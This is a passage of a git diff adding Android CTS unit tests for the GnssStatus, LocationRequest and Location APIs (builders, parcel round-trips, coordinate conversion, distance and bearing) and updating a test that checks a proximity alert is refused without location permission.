+        Parcel parcel = Parcel.obtain();
+        event.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
+        assertEquals(100, newEvent.getClock().getLeapSecond());
+        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
+        assertEquals(2, measurements.size());
+        Iterator<GnssMeasurement> iterator = measurements.iterator();
+        GnssMeasurement newM1 = iterator.next();
+        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
+        GnssMeasurement newM2 = iterator.next();
+        assertEquals(43999, newM2.getReceivedSvTimeNanos());
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java b/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java
new file mode 100644
index 0000000..24fb513
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssStatusTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssStatusTest {
+
+    private static final float DELTA = 1e-3f;
+
+    @Test
+    public void testGetValues() {
+        GnssStatus gnssStatus = getTestGnssStatus();
+        verifyTestValues(gnssStatus);
+    }
+
+    @Test
+    public void testBuilder_ClearSatellites() {
+        GnssStatus.Builder builder = new GnssStatus.Builder();
+        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
+                /* svid= */ 13,
+                /* cn0DbHz= */ 25.5f,
+                /* elevation= */ 2.0f,
+                /* azimuth= */ 255.1f,
+                /* hasEphemeris= */ true,
+                /* hasAlmanac= */ false,
+                /* usedInFix= */ true,
+                /* hasCarrierFrequency= */ true,
+                /* carrierFrequency= */ 1575420000f,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 20.5f);
+        builder.clearSatellites();
+
+        GnssStatus status = builder.build();
+        assertEquals(0, status.getSatelliteCount());
+    }
+
+    @Test
+    public void testRoundtrip() {
+        GnssStatus gnssStatus = getTestGnssStatus();
+
+        Parcel parcel = Parcel.obtain();
+        gnssStatus.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        GnssStatus fromParcel = GnssStatus.CREATOR.createFromParcel(parcel);
+        assertEquals(gnssStatus, fromParcel);
+    }
+
+    private static GnssStatus getTestGnssStatus() {
+        GnssStatus.Builder builder = new GnssStatus.Builder();
+        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
+                /* svid= */ 13,
+                /* cn0DbHz= */ 25.5f,
+                /* elevation= */ 2.0f,
+                /* azimuth= */ 255.1f,
+                /* hasEphemeris= */ true,
+                /* hasAlmanac= */ false,
+                /* usedInFix= */ true,
+                /* hasCarrierFrequency= */ true,
+                /* carrierFrequency= */ 1575420000f,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 20.5f);
+
+        builder.addSatellite(GnssStatus.CONSTELLATION_GLONASS,
+                /* svid= */ 9,
+                /* cn0DbHz= */ 31.0f,
+                /* elevation= */ 1.0f,
+                /* azimuth= */ 193.8f,
+                /* hasEphemeris= */ false,
+                /* hasAlmanac= */ true,
+                /* usedInFix= */ false,
+                /* hasCarrierFrequency= */ false,
+                /* carrierFrequency= */ Float.NaN,
+                /* hasBasebandCn0DbHz= */ true,
+                /* basebandCn0DbHz= */ 26.9f);
+
+        return builder.build();
+    }
+
+    private static void verifyTestValues(GnssStatus gnssStatus) {
+        assertEquals(2, gnssStatus.getSatelliteCount());
+        assertEquals(GnssStatus.CONSTELLATION_GPS, gnssStatus.getConstellationType(0));
+        assertEquals(GnssStatus.CONSTELLATION_GLONASS, gnssStatus.getConstellationType(1));
+
+        assertEquals(13, gnssStatus.getSvid(0));
+        assertEquals(9, gnssStatus.getSvid(1));
+
+        assertEquals(25.5f, gnssStatus.getCn0DbHz(0), DELTA);
+        assertEquals(31.0f, gnssStatus.getCn0DbHz(1), DELTA);
+
+        assertEquals(2.0f, gnssStatus.getElevationDegrees(0), DELTA);
+        assertEquals(1.0f, gnssStatus.getElevationDegrees(1), DELTA);
+
+        assertEquals(255.1f, gnssStatus.getAzimuthDegrees(0), DELTA);
+        assertEquals(193.8f, gnssStatus.getAzimuthDegrees(1), DELTA);
+
+        assertEquals(true, gnssStatus.hasEphemerisData(0));
+        assertEquals(false, gnssStatus.hasEphemerisData(1));
+
+        assertEquals(false, gnssStatus.hasAlmanacData(0));
+        assertEquals(true, gnssStatus.hasAlmanacData(1));
+
+        assertEquals(true, gnssStatus.usedInFix(0));
+        assertEquals(false, gnssStatus.usedInFix(1));
+
+        assertEquals(true, gnssStatus.hasCarrierFrequencyHz(0));
+        assertEquals(false, gnssStatus.hasCarrierFrequencyHz(1));
+
+        assertEquals(1575420000f, gnssStatus.getCarrierFrequencyHz(0), DELTA);
+
+        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(0));
+        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(1));
+
+        assertEquals(20.5f, gnssStatus.getBasebandCn0DbHz(0), DELTA);
+        assertEquals(26.9f, gnssStatus.getBasebandCn0DbHz(1), DELTA);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java b/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java
new file mode 100644
index 0000000..06c1862
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/LocationRequestTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.location.LocationRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationRequestTest {
+
+    @Test
+    public void testBuild_Defaults() {
+        LocationRequest request = new LocationRequest.Builder(0).build();
+        assertThat(request.getIntervalMillis()).isEqualTo(0);
+        assertThat(request.getQuality()).isEqualTo(LocationRequest.QUALITY_BALANCED_POWER_ACCURACY);
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(0);
+        assertThat(request.getDurationMillis()).isEqualTo(Long.MAX_VALUE);
+        assertThat(request.getMaxUpdates()).isEqualTo(Integer.MAX_VALUE);
+        assertThat(request.getMinUpdateDistanceMeters()).isEqualTo(0f);
+        assertThat(request.isHiddenFromAppOps()).isEqualTo(false);
+        assertThat(request.isLocationSettingsIgnored()).isEqualTo(false);
+        assertThat(request.isLowPower()).isEqualTo(false);
+    }
+
+    @Test
+    public void testBuild_Explicit() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_HIGH_ACCURACY)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+        assertThat(request.getIntervalMillis()).isEqualTo(5000);
+        assertThat(request.getQuality()).isEqualTo(LocationRequest.QUALITY_HIGH_ACCURACY);
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(4000);
+        assertThat(request.getDurationMillis()).isEqualTo(6000);
+        assertThat(request.getMaxUpdates()).isEqualTo(7000);
+        assertThat(request.getMinUpdateDistanceMeters()).isEqualTo(8000f);
+        assertThat(request.isHiddenFromAppOps()).isEqualTo(true);
+        assertThat(request.isLocationSettingsIgnored()).isEqualTo(true);
+        assertThat(request.isLowPower()).isEqualTo(true);
+    }
+
+    @Test
+    public void testBuild_Copy() {
+        LocationRequest original = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_HIGH_ACCURACY)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+        LocationRequest copy = new LocationRequest.Builder(original).build();
+        assertThat(copy.getIntervalMillis()).isEqualTo(5000);
+        assertThat(copy.getQuality()).isEqualTo(LocationRequest.QUALITY_HIGH_ACCURACY);
+        assertThat(copy.getMinUpdateIntervalMillis()).isEqualTo(4000);
+        assertThat(copy.getDurationMillis()).isEqualTo(6000);
+        assertThat(copy.getMaxUpdates()).isEqualTo(7000);
+        assertThat(copy.getMinUpdateDistanceMeters()).isEqualTo(8000f);
+        assertThat(copy.isHiddenFromAppOps()).isEqualTo(true);
+        assertThat(copy.isLocationSettingsIgnored()).isEqualTo(true);
+        assertThat(copy.isLowPower()).isEqualTo(true);
+        assertThat(copy).isEqualTo(original);
+    }
+
+    @Test
+    public void testBuild_ImplicitMinUpdateInterval() {
+        LocationRequest.Builder builder = new LocationRequest.Builder(5000);
+        assertThat(builder.build().getMinUpdateIntervalMillis()).isEqualTo(5000);
+
+        builder.setIntervalMillis(6000);
+        assertThat(builder.build().getMinUpdateIntervalMillis()).isEqualTo(6000);
+    }
+
+    @Test
+    public void testBuild_ClearMinUpdateInterval() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setMinUpdateIntervalMillis(4000)
+                .clearMinUpdateIntervalMillis()
+                .build();
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testBuild_BadMinUpdateInterval() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setMinUpdateIntervalMillis(6000)
+                .build();
+        assertThat(request.getMinUpdateIntervalMillis()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testBuild_IllegalInterval() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(-1));
+    }
+
+    @Test
+    public void testBuild_IllegalQuality() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setQuality(-999));
+    }
+
+    @Test
+    public void testBuild_IllegalMinUpdateInterval() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMinUpdateIntervalMillis(-1));
+    }
+
+    @Test
+    public void testBuild_IllegalDuration() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setDurationMillis(0));
+    }
+
+    @Test
+    public void testBuild_IllegalMaxUpdates() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMaxUpdates(0));
+    }
+
+    @Test
+    public void testBuild_IllegalMinUpdateDistance() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new LocationRequest.Builder(0).setMinUpdateDistanceMeters(-1));
+    }
+
+    @Test
+    public void testDescribeContents() {
+        LocationRequest request = new LocationRequest.Builder(0).build();
+        assertThat(request.describeContents()).isEqualTo(0);
+    }
+
+    @Test
+    public void testParcelRoundtrip() {
+        LocationRequest request = new LocationRequest.Builder(5000)
+                .setQuality(LocationRequest.QUALITY_LOW_POWER)
+                .setMinUpdateIntervalMillis(4000)
+                .setDurationMillis(6000)
+                .setMaxUpdates(7000)
+                .setMinUpdateDistanceMeters(8000f)
+                .setHiddenFromAppOps(true)
+                .setLocationSettingsIgnored(true)
+                .setLowPower(true)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        try {
+            request.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            assertThat(LocationRequest.CREATOR.createFromParcel(parcel)).isEqualTo(request);
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationTest.java b/tests/location/location_none/src/android/location/cts/none/LocationTest.java
new file mode 100644
index 0000000..12b93046
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/LocationTest.java
@@ -0,0 +1,548 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Location;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.StringBuilderPrinter;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.text.DecimalFormat;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationTest {
+
+    private static final float DELTA = 0.1f;
+    private final float TEST_ACCURACY = 1.0f;
+    private final float TEST_VERTICAL_ACCURACY = 2.0f;
+    private final float TEST_SPEED_ACCURACY = 3.0f;
+    private final float TEST_BEARING_ACCURACY = 4.0f;
+    private final double TEST_ALTITUDE = 1.0;
+    private final double TEST_LATITUDE = 50;
+    private final float TEST_BEARING = 1.0f;
+    private final double TEST_LONGITUDE = 20;
+    private final float TEST_SPEED = 5.0f;
+    private final long TEST_TIME = 100;
+    private final String TEST_PROVIDER = "LocationProvider";
+    private final String TEST_KEY1NAME = "key1";
+    private final String TEST_KEY2NAME = "key2";
+    private final boolean TEST_KEY1VALUE = false;
+    private final byte TEST_KEY2VALUE = 10;
+
+    @Test
+    public void testConstructor() {
+        new Location("LocationProvider");
+
+        Location l = createTestLocation();
+        Location location = new Location(l);
+        assertTestLocation(location);
+
+        try {
+            new Location((Location) null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDump() {
+        StringBuilder sb = new StringBuilder();
+        StringBuilderPrinter printer = new StringBuilderPrinter(sb);
+        Location location = new Location("LocationProvider");
+        location.dump(printer, "");
+        assertNotNull(sb.toString());
+    }
+
+    @Test
+    public void testBearingTo() {
+        Location location = new Location("");
+        Location dest = new Location("");
+
+        // set the location to Beijing
+        location.setLatitude(39.9);
+        location.setLongitude(116.4);
+        // set the destination to Chengdu
+        dest.setLatitude(30.7);
+        dest.setLongitude(104.1);
+        assertEquals(-128.66, location.bearingTo(dest), DELTA);
+
+        float bearing;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(0);
+        testLocation.setLongitude(150);
+
+        bearing = zeroLocation.bearingTo(zeroLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(90.0f, bearing, DELTA);
+
+        testLocation.setLatitude(90);
+        testLocation.setLongitude(0);
+        bearing = zeroLocation.bearingTo(testLocation);
+        assertEquals(0.0f, bearing, DELTA);
+
+        try {
+            location.bearingTo(null);
+            fail("should throw NullPointerException");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testConvert_CoordinateToRepresentation() {
+        DecimalFormat df = new DecimalFormat("###.#####");
+        String result;
+
+        result = Location.convert(-80.0, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.0), result);
+
+        result = Location.convert(-80.085, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(5.1), result);
+
+        result = Location.convert(-80, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(0), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_MINUTES);
+        assertEquals("-80:" + df.format(4.5), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_DEGREES);
+        assertEquals("-" + df.format(80.075), result);
+
+        result = Location.convert(-80.075, Location.FORMAT_SECONDS);
+        assertEquals("-80:4:30", result);
+
+        try {
+            Location.convert(-181, Location.FORMAT_SECONDS);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(181, Location.FORMAT_SECONDS);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.convert(-80.075, -1);
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testConvert_RepresentationToCoordinate() {
+        double result;
+
+        result = Location.convert("-80.075");
+        assertEquals(-80.075, result, DELTA);
+
+        result = Location.convert("-80:05.10000");
+        assertEquals(-80.085, result, DELTA);
+
+        result = Location.convert("-80:04:03.00000");
+        assertEquals(-80.0675, result, DELTA);
+
+        result = Location.convert("-80:4:3");
+        assertEquals(-80.0675, result, DELTA);
+
+        try {
+            Location.convert(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e){
+            // expected.
+        }
+
+        try {
+            Location.convert(":");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("190:4:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:60:3");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+
+        try {
+            Location.convert("-80:4:60");
+            fail("should throw IllegalArgumentException.");
+        } catch (IllegalArgumentException e){
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDescribeContents() {
+        Location location = new Location("");
+        location.describeContents();
+    }
+
+    @Test
+    public void testDistanceBetween() {
+        float[] result = new float[3];
+        Location.distanceBetween(0, 0, 0, 0, result);
+        assertEquals(0.0, result[0], DELTA);
+        assertEquals(0.0, result[1], DELTA);
+        assertEquals(0.0, result[2], DELTA);
+
+        Location.distanceBetween(20, 30, -40, 140, result);
+        assertEquals(1.3094936E7, result[0], 1);
+        assertEquals(125.4538, result[1], DELTA);
+        assertEquals(93.3971, result[2], DELTA);
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            Location.distanceBetween(20, 30, -40, 140, new float[0]);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDistanceTo() {
+        float distance;
+        Location zeroLocation = new Location("");
+        zeroLocation.setLatitude(0);
+        zeroLocation.setLongitude(0);
+
+        Location testLocation = new Location("");
+        testLocation.setLatitude(30);
+        testLocation.setLongitude(50);
+
+        distance = zeroLocation.distanceTo(zeroLocation);
+        assertEquals(0, distance, DELTA);
+
+        distance = zeroLocation.distanceTo(testLocation);
+        assertEquals(6244139.0, distance, 1);
+    }
+
+    @Test
+    public void testAccessAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasAccuracy());
+
+        location.setAccuracy(1.0f);
+        assertEquals(1.0, location.getAccuracy(), DELTA);
+        assertTrue(location.hasAccuracy());
+    }
+
+    @Test
+    public void testAccessVerticalAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasVerticalAccuracy());
+
+        location.setVerticalAccuracyMeters(1.0f);
+        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
+        assertTrue(location.hasVerticalAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeedAccuracy());
+
+        location.setSpeedAccuracyMetersPerSecond(1.0f);
+        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertTrue(location.hasSpeedAccuracy());
+    }
+
+    @Test
+    public void testAccessBearingAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasBearingAccuracy());
+
+        location.setBearingAccuracyDegrees(1.0f);
+        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
+        assertTrue(location.hasBearingAccuracy());
+    }
+
+
+    @Test
+    public void testAccessAltitude() {
+        Location location = new Location("");
+        assertFalse(location.hasAltitude());
+
+        location.setAltitude(1.0);
+        assertEquals(1.0, location.getAltitude(), DELTA);
+        assertTrue(location.hasAltitude());
+    }
+
+    @Test
+    public void testAccessBearing() {
+        Location location = new Location("");
+        assertFalse(location.hasBearing());
+
+        location.setBearing(1.0f);
+        assertEquals(1.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(371.0f);
+        assertEquals(11.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+
+        location.setBearing(-361.0f);
+        assertEquals(359.0, location.getBearing(), DELTA);
+        assertTrue(location.hasBearing());
+    }
+
+    @Test
+    public void testAccessExtras() {
+        Location location = createTestLocation();
+
+        assertTestBundle(location.getExtras());
+
+        location.setExtras(null);
+        assertNull(location.getExtras());
+    }
+
+    @Test
+    public void testAccessLatitude() {
+        Location location = new Location("");
+
+        location.setLatitude(0);
+        assertEquals(0, location.getLatitude(), DELTA);
+
+        location.setLatitude(90);
+        assertEquals(90, location.getLatitude(), DELTA);
+
+        location.setLatitude(-90);
+        assertEquals(-90, location.getLatitude(), DELTA);
+    }
+
+    @Test
+    public void testAccessLongitude() {
+        Location location = new Location("");
+
+        location.setLongitude(0);
+        assertEquals(0, location.getLongitude(), DELTA);
+
+        location.setLongitude(180);
+        assertEquals(180, location.getLongitude(), DELTA);
+
+        location.setLongitude(-180);
+        assertEquals(-180, location.getLongitude(), DELTA);
+    }
+
+    @Test
+    public void testAccessProvider() {
+        Location location = new Location("");
+
+        String provider = "Location Provider";
+        location.setProvider(provider);
+        assertEquals(provider, location.getProvider());
+
+        location.setProvider(null);
+        assertNull(location.getProvider());
+    }
+
+    @Test
+    public void testAccessSpeed() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeed());
+
+        location.setSpeed(234.0045f);
+        assertEquals(234.0045, location.getSpeed(), DELTA);
+        assertTrue(location.hasSpeed());
+    }
+
+    @Test
+    public void testAccessTime() {
+        Location location = new Location("");
+
+        location.setTime(0);
+        assertEquals(0, location.getTime());
+
+        location.setTime(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getTime());
+
+        location.setTime(12000);
+        assertEquals(12000, location.getTime());
+    }
+
+    @Test
+    public void testAccessElapsedRealtime() {
+        Location location = new Location("");
+
+        location.setElapsedRealtimeNanos(0);
+        assertEquals(0, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(Long.MAX_VALUE);
+        assertEquals(Long.MAX_VALUE, location.getElapsedRealtimeNanos());
+
+        location.setElapsedRealtimeNanos(12000);
+        assertEquals(12000, location.getElapsedRealtimeNanos());
+    }
+
+    @Test
+    public void testAccessElapsedRealtimeUncertaintyNanos() {
+        Location location = new Location("");
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+
+        location.setElapsedRealtimeUncertaintyNanos(12000.0);
+        assertEquals(12000.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+        assertTrue(location.hasElapsedRealtimeUncertaintyNanos());
+
+        location.reset();
+        assertFalse(location.hasElapsedRealtimeUncertaintyNanos());
+        assertEquals(0.0, location.getElapsedRealtimeUncertaintyNanos(), DELTA);
+    }
+
+    @Test
+    public void testSetMock() {
+        Location location = new Location("");
+        assertFalse(location.isMock());
+        location.setMock(true);
+        assertTrue(location.isMock());
+    }
+
+    @Test
+    public void testSet() {
+        Location location = new Location("");
+
+        Location loc = createTestLocation();
+
+        location.set(loc);
+        assertTestLocation(location);
+
+        location.reset();
+        assertNull(location.getProvider());
+        assertEquals(0, location.getTime());
+        assertEquals(0, location.getLatitude(), DELTA);
+        assertEquals(0, location.getLongitude(), DELTA);
+        assertEquals(0, location.getAltitude(), DELTA);
+        assertFalse(location.hasAltitude());
+        assertEquals(0, location.getSpeed(), DELTA);
+        assertFalse(location.hasSpeed());
+        assertEquals(0, location.getBearing(), DELTA);
+        assertFalse(location.hasBearing());
+        assertEquals(0, location.getAccuracy(), DELTA);
+        assertFalse(location.hasAccuracy());
+
+        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
+
+        assertFalse(location.hasVerticalAccuracy());
+        assertFalse(location.hasSpeedAccuracy());
+        assertFalse(location.hasBearingAccuracy());
+
+        assertNull(location.getExtras());
+    }
+
+    @Test
+    public void testToString() {
+        Location location = createTestLocation();
+
+        assertNotNull(location.toString());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Location location = createTestLocation();
+
+        Parcel parcel = Parcel.obtain();
+        location.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        Location newLocation = Location.CREATOR.createFromParcel(parcel);
+        assertTestLocation(newLocation);
+
+        parcel.recycle();
+    }
+
+    private void assertTestLocation(Location l) {
+        assertNotNull(l);
+        assertEquals(TEST_PROVIDER, l.getProvider());
+        assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
+        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
+        assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
+        assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
+        assertEquals(TEST_BEARING, l.getBearing(), DELTA);
+        assertEquals(TEST_LONGITUDE, l.getLongitude(), DELTA);
+        assertEquals(TEST_SPEED, l.getSpeed(), DELTA);
+        assertEquals(TEST_TIME, l.getTime());
+        assertTestBundle(l.getExtras());
+    }
+
+    private Location createTestLocation() {
+        Location l = new Location(TEST_PROVIDER);
+        l.setAccuracy(TEST_ACCURACY);
+        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
+        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
+        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
+
+        l.setAltitude(TEST_ALTITUDE);
+        l.setLatitude(TEST_LATITUDE);
+        l.setBearing(TEST_BEARING);
+        l.setLongitude(TEST_LONGITUDE);
+        l.setSpeed(TEST_SPEED);
+        l.setTime(TEST_TIME);
+        Bundle bundle = new Bundle();
+        bundle.putBoolean(TEST_KEY1NAME, TEST_KEY1VALUE);
+        bundle.putByte(TEST_KEY2NAME, TEST_KEY2VALUE);
+        l.setExtras(bundle);
+
+        return l;
+    }
+
+    private void assertTestBundle(Bundle bundle) {
+        assertFalse(bundle.getBoolean(TEST_KEY1NAME));
+        assertEquals(TEST_KEY2VALUE, bundle.getByte(TEST_KEY2NAME));
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
index 7d150cb..854e3ba 100644
--- a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -16,16 +16,17 @@
 
 package android.location.cts.none;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
-import android.app.PendingIntent;
 import android.content.Context;
-import android.content.Intent;
 import android.location.Criteria;
 import android.location.LocationManager;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.ProximityPendingIntentCapture;
 import android.os.Looper;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -43,7 +44,7 @@
     private LocationManager mLocationManager;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mContext = ApplicationProvider.getApplicationContext();
         mLocationManager = mContext.getSystemService(LocationManager.class);
 
@@ -80,15 +81,11 @@
 
     @Test
     public void testAddProximityAlert() {
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext,
-                0, new Intent("action"), PendingIntent.FLAG_ONE_SHOT);
-        try {
-            mLocationManager.addProximityAlert(0, 0, 100, -1, pendingIntent);
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mLocationManager.addProximityAlert(0, 0, 100, -1, capture.getPendingIntent());
             fail("Should throw SecurityException");
         } catch (SecurityException e) {
             // expected
-        } finally {
-            pendingIntent.cancel();
         }
     }
 
